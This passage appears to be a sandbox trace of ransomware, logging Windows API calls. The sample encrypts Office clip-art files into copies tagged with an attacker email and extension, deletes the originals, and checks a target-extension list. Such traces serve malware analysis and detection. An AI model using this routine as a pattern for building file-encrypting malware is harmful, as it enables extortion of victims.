lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.140] SetEndOfFile (hFile=0x38c) returned 1 [0077.141] CloseHandle (hObject=0x38c) returned 1 [0077.141] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.142] SetEndOfFile (hFile=0x35c) returned 1 [0077.142] CloseHandle (hObject=0x35c) returned 1 [0077.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0077.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.143] lstrlenW (lpString=".doc") returned 4 [0077.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.143] lstrlenW (lpString=".docx") returned 5 [0077.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.143] lstrlenW (lpString=".pdf") returned 4 [0077.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.143] lstrlenW (lpString=".xls") returned 4 [0077.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.143] lstrlenW (lpString=".xlsx") returned 5 [0077.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.143] lstrlenW (lpString=".ppt") returned 4 [0077.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.143] lstrlenW (lpString=".zip") returned 4 [0077.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.144] lstrlenW (lpString=".rar") returned 4 [0077.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.144] lstrlenW (lpString=".bz2") returned 4 [0077.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.144] lstrlenW (lpString=".7z") returned 3 [0077.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.144] lstrlenW (lpString=".dbf") returned 4 [0077.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.144] lstrlenW (lpString=".1cd") returned 4 [0077.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.144] lstrlenW (lpString=".jpg") returned 4 [0077.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.144] lstrlenW (lpString=".doc") returned 4 [0077.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.144] lstrlenW (lpString=".docx") returned 5 [0077.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.144] lstrlenW (lpString=".pdf") returned 4 [0077.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.144] lstrlenW (lpString=".xls") returned 4 [0077.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.144] lstrlenW (lpString=".xlsx") returned 5 [0077.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.144] lstrlenW (lpString=".ppt") returned 4 [0077.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.144] lstrlenW (lpString=".zip") returned 4 [0077.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.145] lstrlenW (lpString=".rar") returned 4 [0077.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.145] lstrlenW (lpString=".bz2") returned 4 [0077.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.145] lstrlenW (lpString=".7z") returned 3 [0077.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.145] lstrlenW (lpString=".dbf") returned 4 [0077.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.145] lstrlenW (lpString=".1cd") returned 4 [0077.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0077.145] lstrlenW (lpString=".jpg") returned 4 [0077.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.145] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.145] lstrlenW (lpString="AN04355_.WMF") returned 12 [0077.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.145] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3228) returned 1 [0077.146] CloseHandle (hObject=0x35c) returned 1 [0077.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0077.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.146] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.146] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0077.146] GetLastError () returned 0x0 [0077.146] ReadFile (in: hFile=0x35c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xc9c, lpOverlapped=0x0) returned 1 [0077.148] WriteFile (in: hFile=0x38c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xca0, lpOverlapped=0x0) returned 1 [0077.149] ReadFile (in: hFile=0x35c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.149] WriteFile (in: hFile=0x38c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.149] SetEndOfFile (hFile=0x38c) returned 1 [0077.149] CloseHandle (hObject=0x38c) returned 1 [0077.150] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.150] SetEndOfFile (hFile=0x35c) returned 1 [0077.151] CloseHandle (hObject=0x35c) returned 1 [0077.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0077.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.151] lstrlenW (lpString=".doc") returned 4 [0077.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.152] lstrlenW (lpString=".docx") returned 5 [0077.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.152] lstrlenW (lpString=".pdf") returned 4 [0077.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.152] lstrlenW (lpString=".xls") returned 4 [0077.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.152] lstrlenW (lpString=".xlsx") returned 5 [0077.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.152] lstrlenW (lpString=".ppt") returned 4 [0077.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.152] lstrlenW (lpString=".zip") returned 4 [0077.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.152] lstrlenW (lpString=".rar") returned 4 [0077.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.152] lstrlenW (lpString=".bz2") returned 4 [0077.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.152] lstrlenW (lpString=".7z") returned 3 [0077.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.152] lstrlenW (lpString=".dbf") returned 4 [0077.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.152] lstrlenW (lpString=".1cd") returned 4 [0077.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.152] lstrlenW (lpString=".jpg") returned 4 [0077.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.152] lstrlenW (lpString=".doc") returned 4 [0077.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.152] lstrlenW (lpString=".docx") returned 5 [0077.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.153] lstrlenW (lpString=".pdf") returned 4 [0077.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.153] lstrlenW (lpString=".xls") returned 4 [0077.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.153] lstrlenW (lpString=".xlsx") returned 5 [0077.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.153] lstrlenW (lpString=".ppt") returned 4 [0077.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.153] lstrlenW (lpString=".zip") returned 4 [0077.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.153] lstrlenW (lpString=".rar") returned 4 [0077.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.153] lstrlenW (lpString=".bz2") returned 4 [0077.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.153] lstrlenW (lpString=".7z") returned 3 [0077.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.153] lstrlenW (lpString=".dbf") returned 4 [0077.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.153] lstrlenW (lpString=".1cd") returned 4 [0077.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0077.153] lstrlenW (lpString=".jpg") returned 4 [0077.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.153] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.153] lstrlenW (lpString="AN04369_.WMF") returned 12 [0077.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.657] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4808) returned 1 [0077.657] CloseHandle (hObject=0x358) returned 1 [0077.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0077.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.658] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.658] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0077.658] GetLastError () returned 0x0 [0077.658] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x12c8, lpOverlapped=0x0) returned 1 [0077.660] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x12d0, lpOverlapped=0x0) returned 1 [0077.661] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.661] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.661] SetEndOfFile (hFile=0x330) returned 1 [0077.661] CloseHandle (hObject=0x330) returned 1 [0077.662] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.662] SetEndOfFile (hFile=0x358) returned 1 [0077.663] CloseHandle (hObject=0x358) returned 1 [0077.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0077.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.663] lstrlenW (lpString=".doc") returned 4 [0077.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.663] lstrlenW (lpString=".docx") returned 5 [0077.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.663] lstrlenW (lpString=".pdf") returned 4 [0077.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.664] lstrlenW (lpString=".xls") returned 4 [0077.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.664] lstrlenW (lpString=".xlsx") returned 5 [0077.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.664] lstrlenW (lpString=".ppt") returned 4 [0077.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.664] lstrlenW (lpString=".zip") returned 4 [0077.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.664] lstrlenW (lpString=".rar") returned 4 [0077.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.664] lstrlenW (lpString=".bz2") returned 4 [0077.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.664] lstrlenW (lpString=".7z") returned 3 [0077.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.664] lstrlenW (lpString=".dbf") returned 4 [0077.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.664] lstrlenW (lpString=".1cd") returned 4 [0077.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.664] lstrlenW (lpString=".jpg") returned 4 [0077.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.664] lstrlenW (lpString=".doc") returned 4 [0077.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.664] lstrlenW (lpString=".docx") returned 5 [0077.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.664] lstrlenW (lpString=".pdf") returned 4 [0077.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.665] lstrlenW (lpString=".xls") returned 4 [0077.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.665] lstrlenW (lpString=".xlsx") returned 5 [0077.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.665] lstrlenW (lpString=".ppt") returned 4 [0077.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.665] lstrlenW (lpString=".zip") returned 4 [0077.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.665] lstrlenW (lpString=".rar") returned 4 [0077.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.665] lstrlenW (lpString=".bz2") returned 4 [0077.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.665] lstrlenW (lpString=".7z") returned 3 [0077.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.665] lstrlenW (lpString=".dbf") returned 4 [0077.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.665] lstrlenW (lpString=".1cd") returned 4 [0077.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0077.665] lstrlenW (lpString=".jpg") returned 4 [0077.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.665] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.665] lstrlenW (lpString="BD07761_.WMF") returned 12 [0077.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.666] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=26748) returned 1 [0077.666] CloseHandle (hObject=0x358) returned 1 [0077.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0077.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0077.667] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.667] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0077.667] GetLastError () returned 0x0 [0077.667] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x687c, lpOverlapped=0x0) returned 1 [0077.669] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x6880, lpOverlapped=0x0) returned 1 [0077.670] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.670] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.671] SetEndOfFile (hFile=0x330) returned 1 [0077.671] CloseHandle (hObject=0x330) returned 1 [0077.672] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 